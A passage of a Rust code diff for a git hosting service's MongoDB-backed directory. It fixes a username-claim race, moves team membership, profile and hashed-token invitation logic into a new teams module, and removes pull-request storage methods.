handle.trim().to_lowercase(); @@ -496,12 +518,22 @@ impl Directory { if !self.reserve(&handle, HandleKind::User, &email).await? { return Ok(None); } + // Conditional on the handle still being unset: two claims for one user can both pass the + // read above, and an unconditional `$set` would let the second overwrite the first, whose + // reservation is then held by nobody forever. Zero matched means somebody won first. let set = self .users - .update_one(doc! { "_id": &email }, doc! { "$set": { "username": &handle } }) + .update_one( + doc! { "_id": &email, "username": { "$exists": false } }, + doc! { "$set": { "username": &handle } }, + ) .await; match set { - Ok(_) => self.user(&email).await, + Ok(r) if r.matched_count == 1 => self.user(&email).await, + Ok(_) => { + let _ = self.release(&handle).await; + Err(err("username already set")) + } Err(e) => { // Compensate, or the handle is reserved for a user who does not // carry it — unclaimable by anyone, forever. @@ -511,6 +543,14 @@ impl Directory { } } + /// The person behind a handle — what a workspace needs to sign commits as them. + pub async fn user_by_handle(&self, handle: &str) -> Result> { + self.users + .find_one(doc! { "username": handle.trim().to_lowercase() }) + .await + .map_err(|e| err(format!("mongo: {e}"))) + } + pub async fn user(&self, email: &str) -> Result> { self.users .find_one(doc! { "_id": email.trim().to_lowercase() }) @@ -518,8 +558,6 @@ impl Directory { .map_err(|e| err(format!("mongo: {e}"))) } - // ── teams ─────────────────────────────────────────────────────────────── - /// Cosmos will not sort or filter on a field it has no index for — it answers /// "the index path corresponding to the specified order-by item is excluded" /// rather than sorting in memory the way MongoDB does for small results. So @@ -535,12 +573,10 @@ impl Directory { ]) .await .map_err(|e| err(format!("mongo: creating indexes: {e}")))?; - self.repos + self.cli_logins .create_indexes(vec![ - // for_owner filters on this... - IndexModel::builder().keys(doc! { "owner": 1 }).build(), - // ...and sorts on this - IndexModel::builder().keys(doc! { "createdAt": -1 }).build(), + // the CLI polls by this, never by the code + IndexModel::builder().keys(doc! { "poll": 1 }).build(), ]) .await .map_err(|e| err(format!("mongo: creating indexes: {e}")))?; @@ -554,6 +590,14 @@ impl Directory { ]) .await .map_err(|e| err(format!("mongo: creating indexes: {e}")))?; + // The settings page lists a team's open invitations; the accept path reads by `_id`. + self.invites + .create_indexes(vec![ + IndexModel::builder().keys(doc! { "team": 1 }).build(), + IndexModel::builder().keys(doc! { "createdAt": -1 }).build(), + ]) + .await + .map_err(|e| err(format!("mongo: {e}")))?; self.passkeys .create_indexes(vec![ IndexModel::builder().keys(doc! { "user": 1 }).build(), @@ -565,170 +609,51 @@ impl Directory { .create_indexes(vec![ IndexModel::builder().keys(doc! { "repo": 1 }).build(), IndexModel::builder().keys(doc! { "createdAt": -1 }).build(), - // pull_to_check claims by sorting on this. Cosmos refuses to sort - // on a field it has not indexed ("the index path corresponding to - // the specified order-by item is excluded") rather than doing it - // slowly, so without this the worker never checks anything. - IndexModel::builder().keys(doc! { "checkAt": 1 }).build(), ]) .await .map_err(|e| err(format!("mongo: creating indexes: {e}")))?; Ok(()) } - /// Create a team with `creator` as its owner. `Ok(None)` means the slug is taken — - /// enforced by the database, not by a prior read. - pub async fn create(&self, slug: &str, name: &str, creator: &str) -> Result> { - check_handle(slug)?; - let name = name.trim(); - if name.is_empty() { - return Err(err("team name required")); - } - // The same gate a username goes through, so a team can never take a handle - // a person already holds, or the reverse. - if !self.reserve(slug, HandleKind::Team, creator).await? { - return Ok(None); - } - let now = DateTime::now(); - let team = Team { - slug: slug.to_string(), - name: name.to_string(), - created_by: creator.to_string(), - created_at: now, - members: vec![Member { user: creator.to_string(), role: Role::Owner, joined_at: now }], - }; - match self.teams.insert_one(&team).await { - Ok(_) => Ok(Some(team)), - // The reservation already decided uniqueness; reaching here means the - // team document itself failed, so give the handle back. - Err(e) => { - let _ = self.release(slug).await; - if is_duplicate_key(&e) { - return Ok(None); - } - Err(err(format!("mongo: {e}"))) - } - } - } - - pub async fn get(&self, slug: &str) -> Result> { - self.teams - .find_one(doc! { "_id": slug }) - .await - .map_err(|e| err(format!("mongo: {e}"))) - } - - /// Every team `user` belongs to, newest first. - pub async fn for_user(&self, user: &str) -> Result> { + /// One-shot repair for ssh signing keys registered before fingerprints were lowercased at + /// registration (they were stored as `SHA256:`, mixed case, which `signer_by_any` + /// can never match). Runs on every connect rather than as an admin command: it is idempotent, + /// touches a handful of rows, and nobody has to remember to run it. Logged and swallowed by + /// the caller — a failed repair leaves signatures unverified, which is today's behaviour, not + /// a reason to refuse to boot. + async fn lowercase_signing_fingerprints(&self) -> Result { use futures::TryStreamExt; - let cursor = self - .teams - .find(doc! { "members.user": user }) - .sort(doc! { "createdAt": -1 }) + let kind = mongodb::bson::to_bson(&CredentialKind::SigningKey) + .map_err(|e| err(format!("bson: {e}")))?; + let mut cursor = self + .credentials + // ponytail: a `$regex` scan of the signing-key rows on every connect — no index + // backs it, so it is O(signing keys). Fine at this scale and a no-op once clean; + // drop the call entirely (or gate it behind a one-time marker) if that stops holding. + .find(doc! { "kind": kind, "fingerprints": { "$regex": "[A-Z]" } }) .await .map_err(|e| err(format!("mongo: {e}")))?; - cursor.try_collect().await.map_err(|e| err(format!("mongo: {e}"))) - } - - // ── repos ─────────────────────────────────────────────────────────────── - - /// Claim `owner/name`. `Ok(None)` means it is taken — decided by the unique - /// `_id`, so two simultaneous creates cannot both win. - /// - /// This runs BEFORE the repo is created on the git fleet, and that order is - /// the point: the name is reserved atomically here, so the fleet is only ever - /// asked to create a name nobody else holds. A fleet failure then unwinds with - /// `forget`, which is a delete of a row created microseconds earlier. - pub async fn claim_repo( - &self, - owner: &str, - name: &str, - public: bool, - description: &str, - creator: &str, - ) -> Result> { - if !crate::store::valid_owner(owner) || !crate::store::valid_segment(name) { - return Err(err("invalid repository name")); - } - let repo = Repo { - id: format!("{owner}/{name}"), - owner: owner.to_string(), - name: name.to_string(), - public, - description: description.trim().to_string(), - created_by: creator.to_string(), - created_at: DateTime::now(), - }; - match self.repos.insert_one(&repo).await { - Ok(_) => Ok(Some(repo)), - Err(e) if is_duplicate_key(&e) => Ok(None), - Err(e) => Err(err(format!("mongo: {e}"))), + let mut fixed = 0; + while let Some(c) = cursor.try_next().await.map_err(|e| err(format!("mongo: {e}")))? { + let Some(lower) = lowercased(&c.fingerprints) else { continue }; + self.credentials + .update_one(doc! { "_id": &c.id }, doc! { "$set": { "fingerprints": lower } }) + .await + .map_err(|e| err(format!("mongo: {e}")))?; + fixed += 1; } + Ok(fixed) } - /// Change what a repo says about itself. Visibility is mirrored here for the - /// listing badge; the git node's copy is the one that AUTHORIZES, so this is - /// written after the node has accepted the change, never before. - pub async fn update_repo( - &self, - owner: &str, - name: &str, - description: Option<&str>, - public: Option, - ) -> Result<()> { - let mut set = doc! {}; - if let Some(d) = description { - set.insert("description", d.trim()); - } - if let Some(p) = public { - set.insert("public", p); - } - if set.is_empty() { - return Ok(()); - } - self.repos - .update_one(doc! { "_id": format!("{owner}/{name}") }, doc! { "$set": set }) - .await - .map(|_| ()) - .map_err(|e| err(format!("mongo: {e}"))) - } - - /// Drop a repo from the index, with everything keyed to it. - /// - /// Unwinding a `claim_repo` whose fleet create failed, and the index half of - /// a real delete. The rows that hang off a repo go too: a change and its - /// number belong to the repo, so leaving them means a repo created at the - /// same path later inherits the old changes and resumes their numbering — - /// someone else's review history, under a new owner. - /// - /// Deleting the CONTENTS is the fleet's business; this owns only the index. - pub async fn forget_repo(&self, owner: &str, name: &str) -> Result<()> { - let id = format!("{owner}/{name}"); - self.repos - .delete_one(doc! { "_id": &id }) - .await - .map_err(|e| err(format!("mongo: {e}")))?; - self.pulls - .delete_many(doc! { "repo": &id }) - .await - .map_err(|e| err(format!("mongo: {e}")))?; - self.counters - .delete_one(doc! { "_id": format!("pulls/{id}") }) - .await - .map_err(|e| err(format!("mongo: {e}")))?; - Ok(()) - } + // ── repos ─────────────────────────────────────────────────────────────── - /// Every repo under `owner`, newest first. Both public and private: who may - /// see this list is the caller's question, decided before this is called. - pub async fn repos_for(&self, owner: &str) -> Result> { + /// Every repo, all owners. MIGRATION TOOL, and the only reason this collection is still + /// read: `admin backfill-repo-markers` seeds the listing markers from the rows that predate + /// them. Repos are created, edited, listed and deleted without it — nothing here is truth + /// any more, so nothing else may grow a caller. + pub async fn all_repos(&self) -> Result> { use futures::TryStreamExt; - let cursor = self - .repos - .find(doc! { "owner": owner }) - .sort(doc! { "createdAt": -1 }) - .await - .map_err(|e| err(format!("mongo: {e}")))?; + let cursor = self.repos.find(doc! {}).await.map_err(|e| err(format!("mongo: {e}")))?; cursor.try_collect().await.map_err(|e| err(format!("mongo: {e}"))) } @@ -767,11 +692,14 @@ impl Directory { .map_err(|e| err(format!("mongo: {e}"))) } - /// A signing key by ANY of the fingerprints it answers to. + /// A signing key by ANY of the fingerprints or key ids it answers to. /// /// A commit is normally signed by a subkey, and older signatures name their - /// issuer by key id — the last eight bytes of a fingerprint — so the lookup - /// matches a suffix rather than the whole string. + /// issuer by key id — the last eight bytes of a fingerprint — rather than + /// the full fingerprint. Rather than match that as a suffix here (which + /// would need a scan), `fingerprints_of` stores each key's 16-hex key-id + /// suffix alongside its full fingerprint at registration, so this stays an + /// exact, indexed `$in`. pub async fn signer_by_any(&self, candidates: &[String]) -> Result> { use futures::TryStreamExt; if candidates.is_empty() { @@ -779,7 +707,6 @@ impl Directory { } let kind = mongodb::bson::to_bson(&CredentialKind::SigningKey) .map_err(|e| err(format!("bson: {e}")))?; - // Anchored at the END so a key id matches the fingerprint that contains it. let any: Vec = candidates .iter() .map(|c| mongodb::bson::Bson::String(c.to_lowercase())) @@ -847,80 +774,10 @@ impl Directory { // ── pull requests ─────────────────────────────────────────────────────── - /// A counter's value, at either width. - /// - /// `$inc` on a document the same call upserted comes back Int32, and only - /// widens to Int64 once the value needs it. Reading a single spelling means - /// the FIRST change in every repo fails — and fails after the counter has - /// already moved, so the number is burnt with it. - fn counter_value(d: &mongodb::bson::Document) -> Option { - match d.get("n") { - Some(mongodb::bson::Bson::Int64(n)) => Some(*n), - Some(mongodb::bson::Bson::Int32(n)) => Some(*n as i64), - _ => None, - } - } - - /// The next PR number for a repo. - /// - /// `$inc` on a single document, which the database performs atomically — - /// counting the existing PRs and adding one would hand the same number to two - /// people who opened a PR at the same moment. - async fn next_number(&self, repo: &str) -> Result { - let doc = self - .counters - .find_one_and_update(doc! { "_id": format!("pulls/{repo}") }, doc! { "$inc": { "n": 1 } }) - .upsert(true) - .return_document(mongodb::options::ReturnDocument::After) - .await - .map_err(|e| err(format!("mongo: {e}")))?; - // Either width: `$inc` on a document this call just upserted comes back - // Int32, and only widens to Int64 once the value needs it. Reading one - // spelling means the FIRST change in every repo fails — and fails after - // the counter has already moved, so the number is burnt too. - doc.as_ref() - .and_then(Self::counter_value) - .ok_or_else(|| err("could not allocate a number")) - } - - pub async fn open_pull( - &self, - repo: &str, - title: &str, - body: &str, - base: &str, - head: &str, - author: &str, - ) -> Result { - let title = title.trim(); - if title.is_empty() { - return Err(err("a title is required")); - } - if base == head { - return Err(err("a change has to come from a different branch")); - } - let number = self.next_number(repo).await?; - let pr = PullRequest { - id: format!("{repo}#{number}"), - repo: repo.to_string(), - number, - title: title.chars().take(200).collect(), - body: body.trim().to_string(), - base: base.to_string(), - head: head.to_string(), - state: PullState::Open, - author: author.to_string(), - created_at: DateTime::now(), - merged_at: None, - comments: Vec::new(), - merge: None, - mergeability: None, - check_at: None, - }; - self.pulls.insert_one(&pr).await.map_err(|e| err(format!("mongo: {e}")))?; - Ok(pr) - } - + /// The ONLY surviving reader of the Mongo `pulls` collection: `pulls::ensure_migrated` uses + /// it as its row source, which is what makes pull requests opened before the per-repo + /// databases existed survive. Nothing else may grow a caller — new pull reads and writes + /// live in the owning repo's own database. pub async fn pulls_for(&self, repo: &str) -> Result> { use futures::TryStreamExt; let cursor = self @@ -932,210 +789,6 @@ impl Directory { cursor.try_collect().await.map_err(|e| err(format!("mongo: {e}"))) } - pub async fn pull(&self, repo: &str, number: i64) -> Result> { - self.pulls - .find_one(doc! { "_id": format!("{repo}#{number}") }) - .await - .map_err(|e| err(format!("mongo: {e}"))) - } - - pub async fn comment_on_pull(&self, repo: &str, number: i64, author: &str, body: &str) -> Result<()> { - let body = body.trim(); - if body.is_empty() { - return Err(err("say something")); - } - let comment = mongodb::bson::to_bson(&Comment { - author: author.to_string(), - body: body.chars().take(10_000).collect(), - at: DateTime::now(), - }) - .map_err(|e| err(format!("bson: {e}")))?; - self.pulls - .update_one( - doc! { "_id": format!("{repo}#{number}") }, - doc! { "$push": { "comments": comment } }, - ) - .await - .map(|_| ()) - .map_err(|e| err(format!("mongo: {e}"))) - } - - /// Ask for a merge. `Ok(false)` if the change is not open, or a merge is - /// already queued or running — asking twice must not queue it twice. - pub async fn request_merge( - &self, - repo: &str, - number: i64, - strategy: &str, - who: &str, - ) -> Result { - let job = mongodb::bson::to_bson(&MergeJob { - state: MergeState::Queued, - strategy: strategy.to_string(), - requested_by: who.to_string(), - requested_at: DateTime::now(), - claimed_at: None, - claimed_by: None, - detail: None, - }) - .map_err(|e| err(format!("bson: {e}")))?; - let r = self - .pulls - .update_one( - doc! { - "_id": format!("{repo}#{number}"), - "state": "open", - // Not already in flight. A finished-but-failed job may be - // retried, which is why only these two block a new one. - "merge.state": { "$nin": ["queued", "running"] }, - }, - doc! { "$set": { "merge": job } }, - ) - .await - .map_err(|e| err(format!("mongo: {e}")))?; - Ok(r.modified_count == 1) - } - - /// An open change whose mergeability is unknown or oldest, for the worker to - /// look at next. - /// - /// Oldest-first rather than newest: every open change gets looked at, and a - /// busy repo cannot starve a quiet one. The worker decides whether anything - /// actually needs recomputing — it is the only thing that can, since knowing - /// requires reading the refs. - pub async fn pull_to_check(&self) -> Result> { - // Claimed, not merely read. Two workers — or two tasks in one worker — - // reading the same "oldest" change would each walk the same commit graph - // to reach the same answer, so more workers would buy load rather than - // throughput. Stamping the sort key inside the read IS the claim: the - // change moves to the back of the queue in the same operation, so the - // next claimer sees a different one. - // - // `Before`, so the answer carries the tips the LAST check was computed - // from — which is what the caller compares against to decide whether - // anything moved. - self.pulls - .find_one_and_update( - doc! { "state": "open" }, - doc! { "$set": { "checkAt": DateTime::now() } }, - ) - // Missing sorts before present, so a change nobody has looked at yet - // is always taken before one that has been. - .sort(doc! { "checkAt": 1 }) - .return_document(mongodb::options::ReturnDocument::Before) - .await - .map_err(|e| err(format!("mongo: {e}"))) - } - - pub async fn record_mergeability(&self, repo: &str, number: i64, m: &Mergeability) -> Result<()> { - let doc_m = mongodb::bson::to_bson(m).map_err(|e| err(format!("bson: {e}")))?; - self.pulls - .update_one( - doc! { "_id": format!("{repo}#{number}") }, - doc! { "$set": { "mergeability": doc_m } }, - ) - .await - .map(|_| ()) - .map_err(|e| err(format!("mongo: {e}"))) - } - - /// Take one queued merge, atomically. - /// - /// `find_one_and_update` so two workers cannot take the same job: whoever - /// wins flips it to `running` in the same operation that reads it. A job - /// claimed longer ago than `lease` is fair game again — a worker that died - /// mid-merge must not strand the change forever. - pub async fn claim_merge( - &self, - lease: std::time::Duration, - claimant: &str, - ) -> Result> { - let stale = DateTime::from_millis(DateTime::now().timestamp_millis() - lease.as_millis() as i64); - let pr = self - .pulls - .find_one_and_update( - doc! { - "state": "open", - "$or": [ - { "merge.state": "queued" }, - { "merge.state": "running", "merge.claimedAt": { "$lt": stale } }, - ], - }, - doc! { "$set": { - "merge.state": "running", - "merge.claimedAt": DateTime::now(), - "merge.claimedBy": claimant, - } }, - ) - // `After`, so the job carries the winner's token: whoever reads their - // OWN token back is the one that won. - .return_document(mongodb::options::ReturnDocument::After) - .await - .map_err(|e| err(format!("mongo: {e}")))?; - - // The predicate above should already make this impossible — a single - // document's conditional write is applied at its primary, so only one - // claimant can flip `queued` to `running`. But the claim is a - // cross-partition query, and a merge running twice is worth more than one - // comparison: confirm we hold it rather than assume the predicate did. - Ok(pr.filter(|pr| { - pr.merge.as_ref().and_then(|m| m.claimed_by.as_deref()) == Some(claimant) - })) - } - - /// Record how a merge ended. `None` for `detail` means it worked. - pub async fn finish_merge( - &self, - repo: &str, - number: i64, - state: MergeState, - detail: Option<&str>, - ) -> Result<()> { - let mut set = doc! { - "merge.state": mongodb::bson::to_bson(&state).map_err(|e| err(format!("bson: {e}")))?, - }; - set.insert("merge.detail", detail.map(|d| d.to_string())); - self.pulls - .update_one(doc! { "_id": format!("{repo}#{number}") }, doc! { "$set": set }) - .await - .map(|_| ()) - .map_err(|e| err(format!("mongo: {e}"))) - } - - /// Drop the merge job entirely. The honest end of a job that succeeded: - /// `queued` is not a state a finished job stays in, and leaving one there - /// both misreports the change as pending and hands a reopened change a job - /// that is instantly claimable. That it merged is recorded on the PR itself. - pub async fn clear_merge(&self, repo: &str, number: i64) -> Result<()> { - self.pulls - .update_one( - doc! { "_id": format!("{repo}#{number}") }, - doc! { "$unset": { "merge": "" } }, - ) - .await - .map(|_| ()) - .map_err(|e| err(format!("mongo: {e}"))) - } - - /// Move a PR to a new state, but only from `open` — a merged PR cannot be - /// closed and a closed one cannot be merged, and the database decides that - /// rather than a read-then-write that two requests could interleave. - pub async fn set_pull_state(&self, repo: &str, number: i64, state: PullState) -> Result { - let mut set = doc! { "state": mongodb::bson::to_bson(&state).map_err(|e| err(format!("bson: {e}")))? }; - if state == PullState::Merged { - set.insert("mergedAt", DateTime::now()); - } - let r = self - .pulls - .update_one( - doc! { "_id": format!("{repo}#{number}"), "state": "open" }, - doc! { "$set": set }, - ) - .await - .map_err(|e| err(format!("mongo: {e}")))?; - Ok(r.modified_count == 1) - } - pub async fn forget_passkey(&self, id: &str) -> Result<()> { self.passkeys .delete_one(doc! { "_id": id }) @@ -1145,7 +798,14 @@ impl Directory { } } -fn is_duplicate_key(e: &mongodb::error::Error) -> bool { +/// `Some(lowercased)` when any fingerprint has upper-case letters, `None` when the row is already +/// in the one spelling `signer_by_any` can find. Pure so the rule has a test; `connect` applies it. +pub(crate) fn lowercased(fingerprints: &[String]) -> Option> { + let lower: Vec = fingerprints.iter().map(|f| f.to_lowercase()).collect(); + (lower != fingerprints).then_some(lower) +} + +pub(crate) fn is_duplicate_key(e: &mongodb::error::Error) -> bool { use mongodb::error::ErrorKind; match *e.kind { ErrorKind::Write(mongodb::error::WriteFailure::WriteError(ref w)) => w.code == 11000, @@ -1160,6 +820,17 @@ fn is_duplicate_key(e: &mongodb::error::Error) -> bool { mod tests { use super::check_handle; + #[test] + fn lowercased_only_reports_rows_that_change() { + use super::lowercased; + assert_eq!( + lowercased(&["SHA256:AbC/+=".into()]), + Some(vec!["sha256:abc/+=".to_string()]) + ); + assert_eq!(lowercased(&["0123abcdef".into()]), None); + assert_eq!(lowercased(&[]), None); + } + #[test] fn accepts_a_plain_handle() { for h in ["karthik", "alice-chen", "a-b-c", "abc", "x1y2z3"] { @@ -1180,6 +851,7 @@ mod tests { ("trail-", "start or end with a dash"), ("admin", "reserved"), ("api", "reserved"), + ("cli", "reserved"), ] { let e = check_handle(h).unwrap_err().to_string(); assert!(e.contains(want), "{h}: expected a message about {want:?}, got {e:?}"); @@ -1192,19 +864,3 @@ mod tests { assert!(check_handle(&"a".repeat(39)).is_ok()); } } - -#[cfg(test)] -mod counter_tests { - use super::Directory; - use mongodb::bson::doc; - - /// The first `$inc` on an upserted counter comes back Int32; later ones widen - /// to Int64. Both are the same number, and reading only one spelling broke - /// the first change in every repo. - #[test] - fn a_counter_reads_at_either_width() { - assert_eq!(Directory::counter_value(&doc! { "n": 1i32 }), Some(1)); - assert_eq!(Directory::counter_value(&doc! { "n": 9_000_000_000i64 }), Some(9_000_000_000)); - assert_eq!(Directory::counter_value(&doc! { "nope": 1i32 }), None); - } -} diff --git a/crates/pulls/src/directory/teams.rs b/crates/pulls/src/directory/teams.rs new file mode 100644 index 00000000..bb6be067 --- /dev/null +++ b/crates/pulls/src/directory/teams.rs @@ -0,0 +1,474 @@ +//! Teams: creation, lookup, and membership listing. Split out of `directory::mod` at the +//! impl-block boundary — everything else about the directory (people, repos, credentials, +//! passkeys) lives there. + +use super::{check_handle, is_duplicate_key, Directory, HandleKind, Member, Role, User}; +use mongodb::bson::{doc, to_bson, DateTime}; +use rustic_git_core::{err, Result}; +use serde::{Deserialize, Serialize}; + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "camelCase")] +pub struct Team { + /// The slug. Also the namespace in every URL and clone address, which is why + /// it is validated as an owner and can never be changed. + #[serde(rename = "_id")] + pub slug: String, + pub name: String, + /// Written after the field existed; `default` is what makes the older documents still parse. + #[serde(default)] + pub description: String, + /// Whether a stranger may see this team at all. Off by default: a team is private until an + /// owner or admin says otherwise, and the anonymous profile route answers 404 while it is off. + #[serde(default)] + pub public: bool, + #[serde(default)] + pub tagline: String, + #[serde(default)] + pub location: String, + #[serde(default)] + pub website: String, + #[serde(default)] + pub email: String, + /// Bare repo names, at most `MAX_PINS`, validated against the team's listing on write only — + /// a pin whose repo was since deleted is dropped at read time by the profile route. + #[serde(default)] + pub pins: Vec, + pub created_by: String, + pub created_at: DateTime, + pub members: Vec, +} + +/// Every field empty and private, `created_at` at the epoch — a caller filling in the rest via +/// `..Default::default()` MUST set `created_at`, which `create_team` does. `bson::DateTime` has no +/// `Default` of its own, which is the only reason this is written out rather than derived. +impl Default for Team { + fn default() -> Team { + Team { + slug: String::new(), + name: String::new(), + description: String::new(), + public: false, + tagline: String::new(), + location: String::new(), + website: String::new(), + email: String::new(), + pins: vec![], + created_by: String::new(), + created_at: DateTime::from_millis(0), + members: vec![], + } + } +} + +pub const MAX_PINS: usize = 6; + +/// Everything on the public profile that an admin sets. Name and description stay on +/// `update_team`, which any member may call. +#[derive(Debug, Clone, Default, PartialEq)] +pub struct TeamProfile { + pub public: bool, + pub tagline: String, + pub location: String, + pub website: String, + pub email: String, + pub pins: Vec, +} + +/// Pins, deduplicated in order, capped, and each one a repo the team has. `repos` is the team's +/// full listing (private ones included — a member may pin a private repo; the profile route hides +/// it for strangers). +pub fn check_pins(pins: &[String], repos: &[String]) -> Result> { + let mut out: Vec = Vec::new(); + for p in pins { + let p = p.trim(); + if p.is_empty() || out.iter().any(|o| o == p) { + continue; + } + if !repos.iter().any(|r| r == p) { + return Err(err(format!("no such repo to pin: {p}"))); + } + out.push(p.to_string()); + } + if out.len() > MAX_PINS { + return Err(err(format!("at most {MAX_PINS} pins"))); + } + Ok(out) +} + +impl Directory { + // ── teams ─────────────────────────────────────────────────────────────── + + /// Create a team with `creator` as its owner. `Ok(None)` means the slug is taken — + /// enforced by the database, not by a prior read. + pub async fn create(&self, slug: &str, name: &str, creator: &str) -> Result> { + check_handle(slug)?; + let name = name.trim(); + if name.is_empty() { + return Err(err("team name required")); + } + // The same gate a username goes through, so a team can never take a handle + // a person already holds, or the reverse. + if !self.reserve(slug, HandleKind::Team, creator).await? { + return Ok(None); + } + let now = DateTime::now(); + // Everything unset is empty and private — the profile fields are filled in later, by an + // admin, through `set_profile`. + let team = Team { + slug: slug.to_string(), + name: name.to_string(), + created_by: creator.to_string(), + created_at: now, + members: vec![Member { user: creator.to_string(), role: Role::Owner, joined_at: now }], + ..Default::default() + }; + match self.teams.insert_one(&team).await { + Ok(_) => Ok(Some(team)), + // The reservation already decided uniqueness; reaching here means the + // team document itself failed, so give the handle back. + Err(e) => { + let _ = self.release(slug).await; + if is_duplicate_key(&e) { + return Ok(None); + } + Err(err(format!("mongo: {e}"))) + } + } + } + + pub async fn get(&self, slug: &str) -> Result> { + self.teams + .find_one(doc! { "_id": slug }) + .await + .map_err(|e| err(format!("mongo: {e}"))) + } + + /// Every team `user` belongs to, newest first. + pub async fn for_user(&self, user: &str) -> Result> { + use futures::TryStreamExt; + let cursor = self + .teams + .find(doc! { "members.user": user }) + .sort(doc! { "createdAt": -1 }) + .await + .map_err(|e| err(format!("mongo: {e}")))?; + cursor.try_collect().await.map_err(|e| err(format!("mongo: {e}"))) + } + + /// The team and the people in it, names resolved — one query for the members, not one per + /// member. A member whose user row is missing (deleted, or never signed in here) stays in the + /// list with their email as the name: the page must show who holds a role, not hide them. + pub async fn describe(&self, slug: &str) -> Result)>> { + use futures::TryStreamExt; + let Some(team) = self.get(slug).await? else { return Ok(None) }; + let emails: Vec<&str> = team.members.iter().map(|m| m.user.as_str()).collect(); + let cursor = self + .users + .find(doc! { "_id": { "$in": &emails } }) + .await + .map_err(|e| err(format!("mongo: {e}")))?; + let users: Vec = cursor.try_collect().await.map_err(|e| err(format!("mongo: {e}")))?; + Ok(Some((team, users))) + } + + /// The caller's role in the team, if any. Every mutation below authorizes on THIS — the + /// members array — never on who created the team or on anything in a URL. + pub fn role_of(team: &Team, email: &str) -> Option { + team.members.iter().find(|m| m.user.eq_ignore_ascii_case(email)).map(|m| m.role) + } + + /// Rename and describe. The slug is deliberately not a parameter: it is in every URL and + /// clone address, and the handle reservation is what makes it unique — changing it is a + /// migration, not a setting. + pub async fn update_team(&self, slug: &str, name: &str, description: &str) -> Result { + let name = name.trim(); + if name.is_empty() { + return Err(err("team name required")); + } + let r = self + .teams + .update_one( + doc! { "_id": slug }, + doc! { "$set": { "name": name, "description": description.trim() } }, + ) + .await + .map_err(|e| err(format!("mongo: {e}")))?; + Ok(r.matched_count == 1) + } + + /// Add an existing person. There is no invitation state: the person has to have signed in + /// here already, so `NoSuchUser` is the answer for an email this deployment has never seen. + /// ponytail: direct add, no pending invite; a pending collection plus a mailer replaces + /// this the day there is something to send mail with. + pub async fn add_member(&self, slug: &str, email: &str, role: Role) -> Result { + let email = email.trim().to_lowercase(); + if self.user(&email).await?.is_none() { + return Ok(AddMember::NoSuchUser); + } + // The filter carries the duplicate check, so two concurrent adds of the same person + // cannot both push: the second finds no document whose members lack them. + let member = Member { user: email.clone(), role, joined_at: DateTime::now() }; + let r = self + .teams + .update_one( + doc! { "_id": slug, "members.user": { "$ne": &email } }, + doc! { "$push": { "members": to_bson(&member).map_err(|e| err(format!("bson: {e}")))? } }, + ) + .await + .map_err(|e| err(format!("mongo: {e}")))?; + if r.matched_count == 1 { + return Ok(AddMember::Added); + } + // Matched nothing: either no such team, or they are already in. Tell them apart. + Ok(match self.get(slug).await? { + Some(_) => AddMember::AlreadyMember, + None => AddMember::NoSuchTeam, + }) + } + + /// Change a member's role. A team must always have an owner — one with none can never be + /// administered again — so demoting the last owner is refused here, where every caller + /// inherits the rule, rather than in a handler that a future route could forget. + pub async fn set_role(&self, slug: &str, email: &str, role: Role) -> Result { + let email = email.trim().to_lowercase(); + let Some(team) = self.get(slug).await? else { return Ok(Membership::NoSuchTeam) }; + let Some(current) = Self::role_of(&team, &email) else { return Ok(Membership::NotAMember) }; + if current == Role::Owner && role != Role::Owner && Self::owner_count(&team) == 1 { + return Ok(Membership::LastOwner); + } + // The owner check above read a snapshot; the filter here re-asserts it, so two + // concurrent demotions cannot both pass the count and strand the team. + let mut filter = doc! { "_id": slug, "members.user": &email }; + if current == Role::Owner && role != Role::Owner { + filter.insert("members", doc! { "$elemMatch": { "role": "owner", "user": { "$ne": &email } } }); + } + let r = self + .teams + .update_one( + filter, + doc! { "$set": { "members.$.role": to_bson(&role).map_err(|e| err(format!("bson: {e}")))? } }, + ) + .await + .map_err(|e| err(format!("mongo: {e}")))?; + Ok(if r.matched_count == 1 { Membership::Done } else { Membership::LastOwner }) + } + + /// Remove a member. Same last-owner rule as `set_role`, for the same reason. + pub async fn remove_member(&self, slug: &str, email: &str) -> Result { + let email = email.trim().to_lowercase(); + let Some(team) = self.get(slug).await? else { return Ok(Membership::NoSuchTeam) }; + let Some(current) = Self::role_of(&team, &email) else { return Ok(Membership::NotAMember) }; + let mut filter = doc! { "_id": slug }; + if current == Role::Owner { + if Self::owner_count(&team) == 1 { + return Ok(Membership::LastOwner); + } + filter.insert("members", doc! { "$elemMatch": { "role": "owner", "user": { "$ne": &email } } }); + } + let r = self + .teams + .update_one(filter, doc! { "$pull": { "members": { "user": &email } } }) + .await + .map_err(|e| err(format!("mongo: {e}")))?; + Ok(if r.matched_count == 1 { Membership::Done } else { Membership::LastOwner }) + } + + /// Delete the team and give its handle back. Refused while the team still owns repositories: + /// a repo's database, blobs and markers live on the git fleet and the object store, and + /// nothing here can remove them transactionally. Deleting the team row first would leave + /// them owned by a name that could then be re-registered by a stranger. + /// ponytail: gates on repositories only, which is what the directory can see; images, + /// workspaces and environments live in the object store and the cluster. Extend the gate + /// when there is one place that can count all four. + pub async fn delete_team(&self, slug: &str) -> Result { + let repos = self + .repos + .count_documents(doc! { "owner": slug }) + .await + .map_err(|e| err(format!("mongo: {e}")))?; + if repos > 0 { + return Ok(DeleteTeam::StillOwns { repos }); + } + let r = self + .teams + .delete_one(doc! { "_id": slug }) + .await + .map_err(|e| err(format!("mongo: {e}")))?; + if r.deleted_count == 0 { + return Ok(DeleteTeam::NoSuchTeam); + } + self.release(slug).await?; + Ok(DeleteTeam::Deleted) + } + + pub async fn update_profile(&self, slug: &str, p: &TeamProfile) -> Result { + let r = self + .teams + .update_one( + doc! { "_id": slug }, + doc! { "$set": { + "public": p.public, + "tagline": p.tagline.trim(), + "location": p.location.trim(), + "website": p.website.trim(), + "email": p.email.trim(), + "pins": to_bson(&p.pins).map_err(|e| err(format!("bson: {e}")))?, + } }, + ) + .await + .map_err(|e| err(format!("mongo: {e}")))?; + Ok(r.matched_count == 1) + } + + fn owner_count(team: &Team) -> usize { + team.members.iter().filter(|m| m.role == Role::Owner).count() + } + + // ── invitations ───────────────────────────────────────────────────────── + // + // An invitation is a row keyed by the HASH of a one-time token. The raw token exists in + // exactly two places: the email, and the URL the recipient clicks. The directory never sees + // it, so a dump of this collection cannot be used to join a team. + + /// Record an invitation. `id` is the caller's hash of the token; the directory does not + /// choose the token so that it never holds anything a link could be rebuilt from. + pub async fn create_invite(&self, invite: &Invite) -> Result<()> { + self.invites + .insert_one(invite) + .await + 